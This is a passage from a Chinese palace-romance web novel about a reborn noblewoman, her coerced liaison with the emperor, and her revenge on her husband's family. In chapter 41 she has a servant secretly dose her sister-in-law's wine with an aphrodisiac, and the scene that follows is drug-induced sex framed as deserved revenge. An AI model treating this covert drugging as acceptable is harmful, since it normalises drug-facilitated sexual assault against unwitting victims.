薛嘉言守了女儿近十日,几乎没合过一个整觉,此刻见孩子好转,她才敢瘫倒在隔壁的床榻上,浑身骨头像散了架,连抬手的力气都没有,只长长吐出一口气,眼底的担忧终于淡了些。 就在她昏昏欲睡时,司春轻手轻脚走了进来,压低声音道:“奶奶,外头都在传……说是皇上在西山春狩的时候,肃国公府的二姑娘为了救驾受伤了,皇上亲自把她送回营帐。现在京城里都在传,说二姑娘怕是要被选进宫了。” 薛嘉言想起在西山时,姜玄抱着她时的灼热、樱花树下说要教她骑马的温柔、夜里失控的痴缠…… 她嘴角勾起一抹冷嗤,他做这些,像是喜欢她一样,其实不过是贪恋她的身子罢了。这不很快就要佳人在怀了。 薛思韫要进宫为妃了?那倒好。 薛嘉言心里竟生出几分松快,有了名门贵女在身边,姜玄想必往后也不会再想起她,不会再来纠缠她了。 说起来,若是姜玄这一世没突然派人把她召去西山,她就不会离开棠姐儿;她不离开,戚倩蓉就没机会把孩子带出去;戚倩蓉不把棠姐儿带出去,她也不会落水、高烧不退,更不会遭了出痘的罪,差点丢了性命! 所有的因果串在一起,源头便是心血来潮的皇帝。 薛嘉言恨得牙尖都快咬碎了,胸口翻涌着浓烈的怒意。 狗皇帝!前世毁了她的人生,这一世又害她女儿遭此大罪,他那样冷心冷肺的人,怕是这辈子也不懂这种舐犊之情。 紫宸殿内,跳动的烛火将殿内映照得明暗交错,天色早已沉透,殿外只余巡夜侍卫的脚步声偶尔传来。 苗菁躬身立在殿中,声音压得极低,恭敬禀报:“皇上,臣已查过,西山狩猎场的那处陷阱,是附近村民私自挖设的捕兽陷阱,里面原放着铁夹,为的是捕捉山林里的野兔、野猪。禁军进驻西山时,曾逐片排查填平所有陷阱,这个陷阱突然出现,目前尚不能确定是当时遗漏,还是有人刻意新设。” 他顿了顿,又补充道:“至于薛二姑娘,臣也查过了,她当日应当不知情。是真以为您会失足遇险,才情急之下扑了过去,并非有意设计。” 姜玄坐在御案后,淡淡“嗯”了一声,语气听不出情绪:“陷阱的事继续查,务必找出缘由。你先下去吧。” “臣遵旨。”苗菁躬身行礼,轻手轻脚退出了大殿。 殿门刚合上,姜玄便抬声道:“传禁军统领赵烈进来。” 不多时,赵烈快步进来,单膝跪地:“臣赵烈,叩见皇上!” “狩猎场出现未排查的陷阱,险些酿成祸事,”姜玄的声音骤然冷了几分,带着帝王的威严,“无论这陷阱是遗漏还是人为,都是你统领禁军不力!连皇家猎场的安全都护不住,你这个统领是怎么当的?” 赵烈额头冒出冷汗,忙伏在地上请罪:“臣失职!请皇上降罪!” “罚你俸禄三月,军棍二十,自去领罚吧!”姜玄冷声道。 “谢皇上恕罪!臣这就去领罚!”赵烈如蒙大赦,躬身退了出去。 殿内终于恢复安静,张鸿宝才端着一盏温好的参茶走进来,轻声劝道:“皇上,时辰不早了,该歇下了,明日还要上朝呢。” 姜玄接过参茶,忽然想起薛嘉言,抬眼问张鸿宝:“她女儿病了,如今可好些了? 第40章 我能如何呢 张鸿宝笑道:“老奴今日让人去问过,太医诊治后已无大碍,听说昨日已能正常吃些粥饭了,应该是好了。” 他试探着问,“皇上若是惦记,老奴这就去传旨,宣薛主子进宫亲自回话?” 姜玄握着茶杯的手顿了顿,目光忽然飘远,像是落在了遥远的过去。 幼时在冷宫里,他曾染过一场严重风寒,浑身滚烫得像烧着了,却又冷得不停发抖。 母妃就坐在不远处,连眼皮都没抬一下,任由他蜷缩在床角发抖。 当时是甄太妃看不下去,将他抱在怀里,用自己的体温裹着他,又拿冷水沾湿帕子,小心翼翼敷在他额头,整夜守着他。 那是他灰暗童年里,为数不多能记起的温暖。 姜玄收回思绪,沉默片刻后,轻轻摇了摇头,低低道:“罢了。她为了照顾孩子,定是熬得累坏了。让她在家多歇些时日吧。” 提及薛嘉言,姜玄又想起她堂妹薛思韫来,抬眼对张鸿宝问道:“肃国公府那边的赏赐送过去了吧?薛二姑娘的伤怎么样了?” 张鸿宝连忙躬身回话,语气恭敬又细致:“回陛下,赏赐早就送过去了,是肃国公亲自接的赏。薛二姑娘的伤,太医说膝盖和手掌擦破些皮,顶多休养十来日,就能彻底好利索了,不碍事的。” 姜玄听了,不置可否地“嗯”了一声,随手将喝剩的参茶放在一旁,起身理了理龙袍下摆,迈步朝着殿外走。 张鸿宝赶紧上前两步,替他撩开厚重的殿帘,紧随其后跟了出去。 宫道上寂静无声,只有两人的脚步声在青砖地上轻轻回响,宫灯沿廊悬挂,暖黄的光晕透过灯罩洒下来,在地面映出长长的人影。 走着走着,张鸿宝心里犯了嘀咕,近来京中私下传的热闹,都说陛下怕是不久后就要下旨将薛二姑娘召进宫。 他犹豫着,要不要趁这会儿跟陛下提一嘴,可偷眼瞧了瞧姜玄的侧脸,见他眉峰微蹙,下颌线绷得紧实,脸色透着几分阴沉,显然心情不算好,到了嘴边的话又咽了回去。 姜玄一心想让薛嘉言安心陪着病愈的女儿,连续十来日都没传旨召她入宫。 薛嘉言乐得自在,想着皇帝怕是已经有了新人,往后也不会再召她了。 她每日守在春和院,看着棠姐儿虽精神渐好却依旧瘦削的小脸,满心都是疼惜。 薛嘉言在家日日琢磨吃食,上午炖软糯的莲子鸡茸粥,下午蒸清甜的翡翠虾饺,傍晚再熬一碗润肺的雪梨银耳羹,只盼着能把女儿瘦下去的肉肉快点补回来。 这日午后,司春进来说郭晓芸派人送了信,邀她去苗府说话。 薛嘉言安顿好棠姐儿,换了身素雅的襦裙,便带着司春往苗府去了。 刚进苗府堂屋,就见郭晓芸笑着迎上来。郭晓芸穿了件水绿的锦裙,鬓边簪着一朵新鲜的珠花,脸色莹润,眼底带着笑意。 许是近来生活安稳,心情舒畅,她瞧着比往日丰腴了些,眉眼间的温婉更甚,真真是人比花娇。 苗菁站在她旁边,对薛嘉言点头致意。 “薛妹妹可算来了,快坐。” 郭晓芸拉着薛嘉言的手,让她坐在靠窗的软榻上,又亲手递过一盏花茶,“棠姐儿怎么样了,我一直惦记着,如今可大好了?” “好了好了,只是水痘,可吓坏我了……” 两人寒暄了几句,话题多围绕着孩子和家常。 郭晓芸说着说着,忽然起身笑道:“瞧我这记性,灶上还蒸着你爱吃的桂花糕,我去看看火候,你们先说着。” 郭晓芸出去后,堂屋只剩薛嘉言和苗菁两人,空气瞬间安静下来。 薛嘉言想起在西山樱花树下,苗菁撞见她以“小太监”模样陪在姜玄身边的场景,脸颊不由微微发烫,连忙端起茶杯抿了一口,以此掩饰自己的尴尬。 苗菁沉声道:“你派人来找我时,我在西山,没能施以援手,请见谅。” “苗大人言重了,”薛嘉言放下茶杯,轻声回道,“我当时也是急坏了,真正是病急乱投医,四下想法子,总算没耽误孩子。” 苗菁从怀中掏出一块温润的白玉牌递到薛嘉言面前,语气平淡道:“我与太医署的院正杨大人有几分交情。往后你家中若是有人需要诊治,不必多费周折,拿了这牌子去太医署,便能请到太医。” 薛嘉言连忙摆手推辞:“不用不用,苗大人,这太麻烦您了。等我夫君回来,若是家中有需要,他身为官员,上奏折申请太医便是。” 苗菁却没收回手,依旧将玉牌放在桌案上,淡淡道:“你夫君刚任五品官职,根基尚浅。就算他上奏折申请,太医署按例也只会分配刚入职的医士过去,未必能解燃眉之急。这玉牌算不得贵重,却能在关键时刻派上用场。” 薛嘉言望着桌案上的白玉牌,想到棠姐儿这次生病,体会到求医无门的焦虑,往后孩子若是再出意外,有这玉牌确实能省去许多麻烦。 她不再推辞,双手拿起玉牌,郑重地对苗菁道谢。 玉牌被薛嘉言小心收进袖中,堂屋里的气氛又静了下来。 苗菁本就想问关于她和姜玄的事情,压低声音,带着几分迟疑问道:“你……怎么会跟那位在一起?” 薛嘉言垂着头,视线落在自己交握的手指上,长长的睫毛在眼下投出一片浅影,脸上刚褪去的红晕又悄悄漫了上来,混杂着几分羞惭与无奈。 前世苗菁知晓她与姜玄的纠葛,已是奸情败露、她被万人唾骂之后,那时他奉命护卫,见的是她狼狈不堪的模样;可如今,这般隐秘羞耻的关系被撞破在明面上,她纵是经历过一世,也难免有些无措。 她张了张嘴,却不知该如何解释,最终,也只化作一声轻不可闻的叹息,喃喃道:“他是天子,我能如何呢?” 这话轻飘飘的,却透着一股难以言说的无力。 苗菁听了,微微叹息了一声。 第41章 戏楼春意 苗菁想着,帝王之威,向来不容抗拒,薛嘉言纵是有再多不愿,也没胆量违逆。 戚少亭不过是个刚入仕的小官,竟毫无征兆地连升四级,从七品闲职一跃成了五品鸿胪寺丞,当时朝中还有人议论此事不妥,是皇帝说见过戚少亭的文章,是可造之才。 如今想来,那都是托词,应是对戚少亭献妻的补偿。 苗菁抬眼看向薛嘉言,见她依旧垂着头,整个人透着一股淡淡的委屈与茫然。他心里忽然生出几分怜悯,没再多问。 “皇上不难伺候,宫中又无妃嫔,只要太后不知道这件事,便无大碍。等皇上充盈后宫,想来此事也就了了。若是中间有需要我帮忙的,你便遣人来说。”苗菁低声叮嘱薛嘉言。 薛嘉言十分感激:“多谢苗大人,我真是不知该如何谢您了。” 苗菁摆了摆手:“薛夫人助我晓芸姐良多,苗某感激不尽,帮夫人做两件事,也是应当的。” 从苗府出来,马车刚驶离元宝胡同,吕征那小子跟着跑上来了。 薛嘉言命车夫停车,吕征猫着腰凑过来,声音压得极低,对着薛嘉言禀报:“奶奶,刚才姑娘从后门出来,坐了小轿去了‘玉春班’戏楼。那戏楼魏世子也常去,小的悄悄跟进去转了一圈,楼下没瞧见他们,想必是去了二楼包厢里。” 薛嘉言眼底掠过一丝冷意,“玉春班”戏楼,她前世便听说过,正是戚倩蓉与魏扬私下相会的常去之地。 前世戚倩蓉是一年后才珠胎暗结,被魏扬纳为妾室;这一世,既然戚倩蓉为了私会不惜拿棠姐儿做幌子,害女儿遭了那般大罪,她不妨推波助澜一把,让戚倩蓉早点去魏家那个火坑里“享福”。 薛嘉言靠在车厢壁上暗自思忖:吕征年纪太小,行事终究不够稳妥,这事若是交给他,万一出了岔子,反倒打草惊蛇。 其实她大可以找苗菁帮忙,以苗菁的能力,办这事易如反掌,可人情不该用在这种小事上,戚倩蓉这般没脑子的货色,还犯不着让她动用苗菁的关系。 回到戚府,薛嘉言让人叫了吕舟过来。 “奶奶有何吩咐?” 薛嘉言道:“你去勾栏巷那边,弄些无色无味的媚药来,再想办法混进‘玉春班’戏楼的二楼包厢,把药下到魏扬和蓉姑娘喝的酒水里。” 吕舟闻言愣了一下,脸上露出疑惑之色:“奶奶,这事不难办,可这般做……怕是不妥吧?咱们与蓉姑娘终究是一家人。” “一家人?”薛嘉言冷笑一声,眼底的寒意再也藏不住,“若不是她为了出去私会,拿棠姐儿做幌子,棠姐儿儿怎会落水发烧,还遭了出痘的罪,差点连命都没了?” 她声音沉了沉,“吕舟,我不需要你问缘由,也不要您揣测对错。我只问你一句——你是否还肯像对我母亲那样,对我绝对忠诚?” 吕舟见状有些慌,竟叫起了从前的称谓,郑重道:“姑娘这是怎么说的?我们一家蒙老太爷救助才能活命,若不是心系在姑娘身上,又怎会盼着您在戚家好?” 薛嘉言知道吕舟是忠心的,他吕家的家生子,对她向来忠心耿耿,从未有过二心。 他不知道戚少亭做的龌龊事,眼下她也不好宣之于众,只低声道:“你应该知道,我不是会胡闹的人,若不是被逼到这个份上,我不会做这种事。” 吕舟见薛嘉言态度坚决,他便不再多问,躬身应道:“是,是我错了,我不该质疑您的决定。我这就去办,定不会让您失望。” 吕舟先去勾栏巷,乔装了一下,找到一个闲着嗑瓜子的小二,塞了块碎银子,压低声音要“能助情的药”。 那小二是个精明人,立刻会意,从怀里摸出个油纸包递给他,低声道:“您放心,这药无色无味,只需一点就管用。” 拿到药,吕舟又回住处换了件锦缎长衫,收拾得体面些,才往“玉春班”戏楼去。 他径直上了二楼,要了个靠里的包厢,刚坐下没多久,就见魏扬穿着件宝蓝锦袍,带着戚倩蓉进了隔壁包厢。 等小二走到包厢门口,吕舟故意脚步踉跄着从自己包厢出来,“哎哟”一声撞在小二身上。 托盘晃了晃,酒水洒了些,小二忙不迭道歉,吕舟也假意赔不是,趁小二低头擦拭托盘的间隙,指尖飞快地将油纸包里的药粉倒了小半进那壶温酒里,药粉遇酒即化,半点痕迹都没留下。 他帮着扶稳托盘,笑着说“不碍事”,便退回了自己包厢。 没过多久,隔壁忽然传来“哗啦”一声响,像是桌椅倒地的动静。 吕舟心里一紧,暗自嘀咕:“难不成是那小二拿错了药?把媚药换成蒙汗药了?” 他起身走到魏扬那间包厢门口,戏楼二楼的包厢本就没有门,只用青布帘隔开,唱戏时便拉开帘看戏。 吕舟轻轻掀开一条缝往里瞧,只见包厢里一张椅子倒在地上,魏扬正压着戚倩蓉在桌案边亲热,想来是那椅子背后没支撑,两人动作太急才碰到了。 吕舟怕被魏扬察觉,赶紧放下布帘,退回自己的座位上,竖着耳朵听隔壁的动静。 先是传来戚倩蓉压抑的“嗯……疼”,声音带着几分抗拒,可没过多久,那声音就渐渐变了腔调,多了些缠缠绵绵的软语。 楼下响起丝竹声,好戏要开场了,掩盖掉包厢里的声音。 吕舟心里松了口气,知道这事成了。他又坐了片刻,确定隔壁没什么异常,才悄悄起身,结账离开了戏楼。 其实之前魏扬对戚倩蓉,也只是嘴上逗弄、偶尔拉拉手,并没敢真的越界。 他听说戚倩蓉的哥哥戚少亭近来突然升任鸿胪寺丞,从七品一跃到五品,这般反常的高升,背后定然有人撑腰。 魏扬虽荒唐,却也不敢轻易得罪不明底细的人,生怕触了不该碰的霉头。 况且他如今还在祖母的孝期内,在外头胡乱行房,怕弄出孩子来,到时候不好交代。 可这日在戏楼里,不知怎的,他见了戚倩蓉就浑身燥热,再也按捺不住,而戚倩蓉虽一开始半推半就,最终也从了他。 这种事只要开始,又哪里有能收得住的?既然已经有了首尾,魏扬便没了之前的顾忌。自此之后,他更是变着法子约戚倩蓉,要么请她去戏楼听戏,要么邀她去城外寺庙烧香,要么请她吃酒,但凡能私会的机会,他都不肯放过。 第42章 月例 戚倩蓉食髓知味,被花样繁多的魏扬迷得魂不守舍,只恨不能日夜相伴。 她整日缠着魏扬早些去她家提亲,魏扬却道自己还在孝期,等孝期一满就去。 薛嘉言知道戚倩蓉经常背着栾氏偷溜出去后,便没再管,只等着东窗事发。 毕竟,魏扬虽还未娶妻,家里却已经有四五个通房,个个都不是好惹的,戚倩蓉这种没有在大宅门里历练过的,进去只有被欺负的份。 栾氏这时候已经被人巷子口的马寡妇带着一起打马吊,一开始就是打发时间,后来才演变成赌博,她手上本就没什么钱,不敢跟戚炳春要。后来知道薛嘉言跟皇帝的事,就拿这个说事,逼着戚少亭从她手里拿走管家权,把她嫁妆里不少好东西都给输掉了。 这一世没有她的嫁妆兜底,栾氏再赌输了,就等着戚炳春打人吧,戚炳春最喜欢说“灶下的妻胯下的马,任我骑来任我打”,听说从前住大杂院时,栾氏可没少挨打。 也就是娶了薛嘉言后,戚家的日子好了,戚炳春日子滋润了,这几年才打的少了。 薛嘉言原本就是打算先弄死罪魁祸首戚少亭,再慢慢折磨剩下的三个人,可如今也没了耐心,谁先来惹她,她就弄谁。 上次从苗家离开时,郭晓芸便再三叮嘱,等棠姐儿彻底痊愈,一定要带孩子来府上做客。她自棠姐儿周岁时见过一面,之后再没机会亲近,心里一直记挂着。 如今棠姐儿痊愈已有大半个月,经薛嘉言精心照料,先前瘦下去的肉肉又重新长了回来,小圆脸蛋白嫩嫩的,瞧着愈发可爱。 出门时,薛嘉言给女儿穿了件海棠红的撒花软缎小袄,梳了两个小啾啾,每个啾啾上还系着一朵粉色绒花。 棠姐儿牵着母亲的手进了苗府,粉雕玉琢的模样,活像观音座下捧着净瓶的童女。 郭晓芸早在门口等着,见棠姐儿进来,立刻笑着迎上前,一把将孩子抱进怀里,根本不舍得不撒手,眼底满是真切的慈爱,连说话的语气都放柔了几分。 薛嘉言站在一旁看着,见郭晓芸这般喜欢孩子,心里却不由泛起一阵怜惜。 前世,郭晓芸难产,最终母子双亡,年纪轻轻就没了性命。但愿这辈子,郭晓芸戚少亭没有牵扯,或许就能摆脱那样悲惨的命运。 郭晓芸抱着棠姐儿进了堂屋,让丫鬟端来一碟碟糖果点心,有蜜饯金橘、核桃酥、芝麻糖,都是孩子爱吃的。棠姐儿坐在郭晓芸腿上,小手捏着一块核桃酥,吃得嘴角沾了碎屑,模样憨态可掬。 郭晓芸一边帮棠姐儿擦嘴角,一边对薛嘉言说道:“薛妹妹,你最近听说了吗?肃国公府的二姑娘可能要进宫了。薛家本就是国公府,若是再出一位后妃,那在京城里的势头可就更盛了。” 她顿了顿,又笑着补充,“不过好在戚大人也升了官,如今是五品鸿胪寺丞,他们总该顾忌些,不能再像从前那样随意欺负你们了。” 郭晓芸的话,像一根针轻轻扎进薛嘉言心里,让她瞬间想起前世的一桩旧事。 那是一个上巳节,戚少亭约了徐维一起去郊外郊游,两人都带着家眷。 当时他们在河边喝茶说话,本是满心欢喜,可等准备返程时,却见马车车身上被人泼满了污秽之物,散发着刺鼻的臭味,好心情瞬间荡然无存。 她至今记得,高家人就站在不远处的柳树下,双手抱在膀子上,眼神里满是“你能奈我何”的蔑视。 高家是京中勋贵,家底厚、势力大,加上也没证据证明是他们做的,她只能忍着恶心,让仆役清理马车。 薛嘉言垂眸沉默着,戚家在京城里毫无根基,想弄死他们,其实并不算特别难的事。 可肃国公府和高家都是盘根错节的大家族,势力雄厚,不好对付。 她至今想不明白,高家人为何会那样恨她们母女?母亲当年在江南时,根本不知道父亲在京城已有妻室,若是早知道,以母亲的性子,是绝对不会让父亲入赘薛家,更不会生下她的。 若真要怪,也只能怪父亲,但高家人却只对她们母女有恨意,也就是欺负她们出身商贾,没有助力罢了。 从苗家回来,薛嘉言刚在软榻上歇了口气,就听见院外急促的脚步声,没等她起身,栾氏就提着裙角闯了进来,脸上带着几分焦躁,一开口就直奔主题:“少亭媳妇,这个月的月例银子怎么还没发?我院里的婆子丫鬟都催了我好几回了!” 薛嘉言自然记得月例的事。 从前戚家挤在大杂院时,日子过得紧巴巴,能顾上温饱就不错了,哪里有“月例银子”的说法?还是她嫁进来后,用自己从薛家带来的嫁妆补贴家用,才定下了月例规矩:府里每位主子每月十两,下人按等级从二两到五百钱不等,每逢月初,就让司雨统一送过去。 这个月,她是故意没让司雨送的。 “娘,您别急,”薛嘉言放下茶盏,语气平静地解释,“上个月咱们城外那处庄子不是遭了灾吗?庄子管事来报说要补种,我把府里现成的银子挪去应急了,眼下实在腾不出闲钱。等下个月有了闲钱,我把两个月的月例一起给您发过去?” 栾氏一听这话,顿时急了。 她前些妻子跟着隔壁马寡妇学了打马吊,这两天正玩得兴起,马寡妇又说要加彩头,就等着月例银子当本钱呢。 若是要等一个月,还得看“有没有闲钱”,那她这马吊局岂不是要散了? 可栾氏也清楚,家里的开销全靠薛嘉言撑着,这位媳妇就是戚家的“财神奶奶”,得罪不起。她脸色一阵青一阵白,想发作又不敢,只能憋着火气,一脸委屈转身出了春和院。 栾氏心里憋着气,径直往戚倩蓉的院子去。可到了院子里,却见戚倩蓉的房门虚掩着,屋里只有丫鬟香雪在收拾东西。 “你们姑娘呢?”栾氏皱着眉问。 第43章 眼皮子浅 香雪吓得一哆嗦,支支吾吾地说:“回……回太太,姑娘……姑娘出去了,奴婢不知道去了哪里。” “不知道?”栾氏本就心烦,听了这话更是火冒三丈,伸手从旁边架子上抄起鸡毛掸子,劈头盖脸就往香雪身上打,“我看你是胆肥了!主子出去了你不知道?是不是跟你家姑娘一起瞒着我!” 香雪疼得哇哇乱叫,抱着头缩在地上,眼泪鼻涕一起往下掉。 正在这时,院外传来戚倩蓉的笑声,她带着丫鬟彩鸢,慢悠悠地走了进来。 栾氏见了她,火气更盛,指着她厉喝:“死丫头!你还知道回来!说,你刚才去哪里了?” 戚倩蓉脸上闪过一丝不自在,眼神飞快地瞟了一眼地上的香雪,随即又昂起头,故作镇定地说:“我就在家啊,哪里也没去。刚才嫌院子里闷,去花园里转了转。” “转花园?” 栾氏根本不信,上前一把拉住戚倩蓉的胳膊,将她拽到自己面前,低头在她身上仔细闻了闻。 除了女儿常用的脂粉香,还隐约透着一股陌生的熏香,像是男子常用的那种。 栾氏心里咯噔一下,手上猛地用力,狠狠拧了一把戚倩蓉的胳膊:“死丫头!还敢撒谎!这是什么味道?你到底去了哪里?再不说实话,我现在就派人告诉你爹,让他用家法抽你!” 戚倩蓉被拧得疼叫一声,一想到父亲揍人时的狠劲。那可是真能用藤条抽得人半个月下不了床的,顿时慌了神,忙拉着栾氏的手小声讨饶:“娘!娘我错了!我没去花园,我是去戏楼听戏了!那出《霸王别姬》我追了好几天,今天正好演结局,我怕您不让我去,才偷偷溜出去的,您别告诉爹好不好?” 栾氏半信半疑地盯着她看了半晌,见女儿哭得可怜,也暂时没再追问。她找戚倩蓉,本就还有别的事。 “行了行了,别哭了!”栾氏不耐烦地挥挥手,“我问你,你们院子这个月的月例银子,你嫂子给你发了吗?” 戚倩蓉愣了一下,转头问彩鸢:“月例?发了吗?” 彩鸢摇摇头:“回姑娘,还没呢,司雨姐姐那边没送过来。” 这些日子戚倩蓉满心思都在魏扬身上,魏扬每次约她,不仅不让她花一分钱,还时常送她些珠钗、绸缎,她根本不缺银子用,自然没留意月例发没发。 栾氏一听,立刻来了精神,推着戚倩蓉的肩膀说:“你看看你嫂子!这都几号了还不发月例!肯定是故意的!你现在就去春和院找她要去!你是戚家的姑娘,还能让她拿捏了不成!” 戚倩蓉本就觉得最近薛嘉言变了,没有之前那么大方了,她又要了几次新衣裳都没给他置办,听母亲这么一说,顿时来了劲,气冲冲地说:“我这就去!看她怎么说!”说着,就带着彩鸢,一阵风似的往春和院跑去。 戚倩蓉风风火火闯进春和院,掀帘的力道重得带起一阵风,刚要开口问责,却见薛嘉言目光落在了她的头发上,语气带着几分讶异:“倩蓉,你今日的头发怎么这般毛躁?鬓边的碎发都炸起来了。” 戚倩蓉愣了一下,下意识抬手摸向耳朵后面的头发,指尖触到几缕不服帖的发丝,疑惑道:“真……真的毛躁吗?我出门前还梳得整整齐齐的啊。” “可不是嘛。”薛嘉言点点头,语气认真,“是啊,大户人家的女孩子,怎么能有一头毛躁的头发呢。” 戚倩蓉一听急了,她可是要嫁进云阳伯府的人,哥哥是五品官,怎么也算是大户人家了。 她的目光落在薛嘉言乌黑顺滑的长发上,忙凑上前问:“嫂子,你用的是什么发油?怎么头发养得这么好?快给我说说。” 薛嘉言见状,笑着拉她:“这有什么难的,走,我让司春用我的发油给你重新梳梳,保准你头发顺地能滑下来。” 戚倩蓉喜不自胜,跟着薛嘉言进了内室。 薛嘉言让她坐在螺钿妆台前,唤来司春:“取我那瓶茉莉发油来,再拿把新的象牙梳,给蓉姑娘好好梳梳头发。” 司春应声取来东西,浅碧色的琉璃瓶一打开,清甜的茉莉香便漫了开来,抹在发间时丝滑不黏腻,梳齿划过头发竟没有一丝卡顿。 戚倩蓉对着铜镜左看右看,见自己的头发果然变得柔顺光亮,笑得眼睛都眯了,又瞥见妆台上摆着的錾花银盒,里面装着杏色的香粉、水红的胭脂,还有一支嵌着小珍珠的唇脂,顿时挪不开眼,舔着脸道:“嫂子,你这香粉和胭脂看着也好用,能不能……能不能也给我点?” “你这丫头,跟嫂子还客气什么。”薛嘉言拿起银盒,直接塞进她手里,笑眯眯地说,“你今年也十六了,生得明眸皓齿,本就该好好打扮。等你哥哥从外地回来,凭着你这模样,再好好拾掇拾掇,定能给你找个如意郎君。到时候满京城的好儿郎,还不由着你挑?” 这番话听得戚倩蓉心花怒放,女为悦己者容,她这阵子本就天天对着镜子琢磨打扮,此刻捧着装满脂粉发油的锦盒,早把栾氏让她来要月例的事抛到了九霄云外。 戚倩蓉抱着锦盒,脚步轻快地谢了薛嘉言,转身就往自己院子跑,连临走时的脚步都带着雀跃。 戚倩蓉刚走,司春便走上前,疑惑道:“奶奶,那些发油和脂粉,您不是挺喜欢的吗?怎么都给蓉姑娘了?” 薛嘉言本就不想要了,正好换更新更好的,便道:“旧的不去新的不来,明儿咱们去胭脂铺子看看新货。” 她早就猜着了,栾氏自己不敢来跟她要月例,必定会撺掇戚倩蓉来闹。戚倩蓉眼皮子浅,一点用过的胭脂水粉就打发了她。 戚倩蓉既然想打扮,薛嘉言就纵着她,她装扮得越漂亮,越能勾着魏扬的心,便会越快的怀上身孕。 待到她声名狼藉那日,她倒要看看,戚家人对待自己女儿又是什么态度。 第44章 你这是吃醋了? 另一边,戚倩蓉兴冲冲跑回自己院子,立刻对着铜镜试用新的的香粉——杏色的粉扑在脸上,显得肤色愈发白皙,水红的胭脂点在颊边,衬得她气色都好了几分。 她正对着镜子傻笑,栾氏就急匆匆走了进来,急忙问道:“怎么样?你嫂子说什么时候发月例了吗?” 戚倩蓉正抹着唇脂,闻言不耐烦地抬了抬眼:“娘你别瞎操心了,嫂子管家也不容易,月例晚一个月发又没什么。” 栾氏看着女儿满脸不在意的模样,再看她这么晚了还涂脂抹粉,有些怀疑道:“你这时候涂脂抹粉要去见谁?” 戚倩蓉道:“嫂子刚送了我一些胭脂水粉,我试试罢了。” 栾氏道:“你也十六了,也该相看人家了,正好你哥哥升了官,比从前更好说人家,回头娘请个官媒上门来问问。” 戚倩蓉原本想把魏扬的事说出去,但魏扬还在他祖母的孝期,只好敷衍着说等哥哥回来再说。 日子一晃过了近一个月,姜玄始终没传旨召薛嘉言入宫。 薛嘉言每日守着棠姐儿,看着女儿日渐圆润的小脸,心里渐渐松了口气, 她以为姜玄总算厌了她,毕竟薛思韫那样的名门贵女要进宫了,往后肯定不断有人进去,她终于能安安分分守着女儿过日子。 可这天晚上,刚哄棠姐儿睡下,司春就匆匆来报,说是张鸿宝派了心腹太监过来,传皇上口谕,让她今晚即刻入宫觐见。 薛嘉言握着锦被的手猛地一紧,心沉了沉,终究还是躲不过。 她身在京城,帝王之命哪里敢违抗,只能压下满心不甘,坐上宫里派来的马车,往皇城方向去。 马车驶进皇宫,停在长宜宫门口。 引路的宫女将她领进殿内,却没见到姜玄的身影。守在殿里的千茉上前屈膝行礼,语气恭敬:“薛主子,皇上还在紫宸殿处理政务,让您先在此等候片刻。” 薛嘉言点点头,在窗边的软榻上坐下。 长宜宫内燃着安神的沉香,锦榻上铺着的云纹软垫冰凉,她坐了半个时辰,困意一阵阵涌上来,半眯着眼睛打盹。 直到殿外传来熟悉的脚步声,薛嘉言才勉强打起精神。 姜玄推门进来,身上还带着淡淡的水汽,显然是刚沐浴过。他墨发半干,几缕湿发贴在额前,水珠顺着脖颈滑进半敞的浅色寝衣,露出一小片肌肤,往日里带着侵略性的眼神,此刻却有些朦胧。 他走到软榻边坐下,拉着薛嘉言的手,声音低沉带着几分不易察觉的歉意:“等久了吧?有点急事,处理完才过来。” 薛嘉言却没接话,脸上没半分往日的柔顺。 她抬眸看了姜玄一眼,没说一句话,径直起身,伸手解开襦裙的系带。领口松开,裙摆滑落,很快便将身上的衣裳脱得干净,只余下贴身的肚兜。 薛嘉言脱完衣裳,掀开锦被躺了进去,侧躺着背对着他,声音平淡得像在说一件无关紧要的事:“那就开始吧。” 姜玄脸上瞬间冷了下来,眉头蹙了起来。他没像从前那样急切,目光沉沉地落在薛嘉言的背影上,语气冷了几分:“你这是怎么了?” 薛嘉言听到他的问话,缓缓转过头,眼底没半分羞怯,只有一种近乎麻木的顺从,语气直白道:“皇上召我入宫,不就是图这点事吗?既然如此,何必浪费时间,尽早开始便是。” 姜玄的胸膛剧烈起伏着,幽深的眼眸像沉了墨的寒潭,一瞬不瞬地盯着薛嘉言。 寝殿内的沉香还在袅袅燃烧,可空气却冷得像腊月的雪天,连烛火的跳动都似慢了几分,静得能听见彼此的呼吸声。 薛嘉言说完那番赌气的话,心就开始“怦怦”狂跳,像揣了只乱撞的兔子。 她飞快转过脸,不敢再看姜玄的眼睛,攥着身下的锦被,下唇被牙齿咬得微微泛白。 她这是疯了吗?竟敢这样对帝王说话!这一世她与姜玄相识不过数月,他如今又有了薛思韫那样的新人,不见得会容忍她呢。 她忐忑不安地琢磨着,是不是该先服软?姜玄毕竟是皇帝,不可能给她台阶下,她在想自己该怎么找台阶。 肩膀上忽然落下一只温热的大掌,姜玄俯身凑过来,声音比刚才柔和了许多,低声问:“你今晚到底怎么了?是心情不好?” 薛嘉言心里瞬间松了口气——太好了!这狗皇帝竟主动给她递台阶了!她要是再不顺着下来,那才是真傻。 她立刻转过身,扁着嘴,眼眶微微泛红,声音里带着几分委屈:“嗯……心情不好。” “为何?”姜玄轻轻摩挲着她的肩膀,等着她回答。 戚家那些糟心事,她可说不出口,语气带着几分敷衍:“就是些鸡毛蒜皮的琐事,皇上就别问了。再说,皇上如今正是人逢喜事精神爽的时候,哪里能体会我们这些凡夫俗子的烦心事呢?” “朕何来喜事?”姜玄皱起眉,语气里满是疑惑,他近来十分繁忙,东南有战事,又有两桩贪墨大案,他亲政不过一年多,根基不稳,不得不多费些心思,竟不知自己有什么喜事。 薛嘉言一听这话,语气出乎意料地有些酸:“外头都传遍了,说您要让薛二姑娘进宫呢!薛二姑娘春日狩猎时‘美人救英雄’,当真是一桩佳话,真是可喜可贺。” 姜玄眸中闪过一抹疑惑,俯身靠近薛嘉言,轻轻捏住她的下巴,迫使她抬头看着自己,声音压得更低,带着一丝戏谑的探究:“你从哪里听说的这些闲话?” “外头都在传啊!”薛嘉言别开脸,却被他的手指轻轻扳了回来,她只能嘟囔着辩解,“或许是因为我也算半个薛家人吧,便有人把这些话传到我耳朵里。” 姜玄看着她眼底藏不住的别扭,嘴角忽然勾起一抹浅淡的笑意,轻轻摩挲着她下巴细腻的肌肤,哑着声音问道:“怎么?你这是……吃醋了?” 第45章 克制 “你这是吃醋了?” 薛嘉言的心猛地一跳,像被人戳中了心事般,脸颊瞬间泛起薄红,连忙摆着手反驳:“我怎么可能吃醋!皇上说笑了,臣妇不过是……不过是恭喜皇上罢了。” 